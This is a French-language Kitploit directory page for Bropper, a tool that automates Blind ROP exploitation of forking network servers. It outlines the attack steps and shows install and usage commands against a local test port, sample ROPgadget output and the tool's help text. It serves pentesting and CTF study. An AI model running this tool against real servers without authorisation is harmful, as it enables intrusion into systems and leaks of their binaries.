Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Bropper — Un outil d'exploitation automatique de Blind ROP | Kitploit
Outils/GitHubGitHub/hakumarachi/bropper
Frameworks d'ExploitationExploitationCTFExploitation de Binaires
GitHubhakumarachi/bropper

Bropper

Un outil d'exploitation automatique de Blind ROP

Voir le dépôt
20918il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

BROPPER

Un outil Python automatique pour l'exploitation Blind ROP

Résumé

BROP (Blind ROP) était une technique découverte par Andrew Bittau de Stanford en 2014.

  • Article original
  • Diapositives

La plupart des serveurs comme nginx, Apache, MySQL, forquent puis communiquent avec le client. Cela signifie que le canary et les adresses restent les mêmes même en présence d'ASLR et de PIE. Ainsi, nous pouvons utiliser une force brute éclairée pour fuiter des informations et ensuite fabriquer un exploit fonctionnel.

Déroulement de l'exploitation

  1. Trouver l'offset du buffer overflow
  2. Trouver le canary
  3. Trouver les registres sauvegardés (RBP / RIP)
  4. Trouver les gadgets stop
  5. Trouver les gadgets brop
  6. Trouver une fonction d'écriture (write / dprintf / puts / ...)
  7. Fuiter le binaire

Exemples de résultats

Il y a 3 exemples vulnérables personnalisés fournis dans ce dépôt. Vous pouvez les exécuter directement ou construire le Dockerfile

BROPPER va alors dumper le binaire :

Il est ensuite possible d'extraire tous les gadgets ROP du binaire dumpé en utilisant ROPgadget par exemple :

root@kitploit:~
$ ROPgadget --binary dump
Gadgets information
============================================================
0x0000000000001177 : adc al, 0 ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001157 : adc al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x1020
0x0000000000001137 : adc byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x1020
...
...
...
0x0000000000001192 : xor ch, byte ptr [rdi] ; add byte ptr [rax], al ; push 0x16 ; jmp 0x1020
0x000000000000182e : xor eax, 0x891 ; mov rdi, rax ; call rcx
0x0000000000001861 : xor eax, 0xffffff22 ; mov rdi, rax ; call rcx

Unique gadgets found: 235

Utilisation du script

Pour utiliser ce script :

root@kitploit:~
python3 -m pip install -r requirements.txt
python3 bropper.py -t 127.0.0.1 -p 1337 --wait "Password :" --expected Bad --expected-stop Welcome -o dump
root@kitploit:~
$ python3 bropper.py -h
usage: bropper.py [-h] -t TARGET -p PORT --expected-stop EXPECTED_STOP --expected EXPECTED --wait WAIT -o OUTPUT [--offset OFFSET] [--canary CANARY] [--no-canary] [--rbp RBP] [--rip RIP] [--stop STOP]
                  [--brop BROP] [--plt PLT] [--strcmp STRCMP] [--elf ELF]

Description message

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        target url
  -p PORT, --port PORT  target port
  --expected-stop EXPECTED_STOP
                        Expected response for the stop gadget
  --expected EXPECTED   Expected normal response
  --wait WAIT           String to wait before sending payload
  -o OUTPUT, --output OUTPUT
                        File to write dumped remote binary
  --offset OFFSET       set a offset value
  --canary CANARY       set a canary value
  --no-canary           Use this argument if there is no stack canary protection
  --rbp RBP             set rbp address
  --rip RIP             set rip address
  --stop STOP           set stop gadget address
  --brop BROP           set brop gadget address
  --plt PLT             set plt address
  --strcmp STRCMP       set strcmp entry value
  --elf ELF             set elf address

Contribution

Les pull requests sont les bienvenues. N'hésitez pas à ouvrir une issue si vous souhaitez ajouter d'autres fonctionnalités.

Télécharger l’outil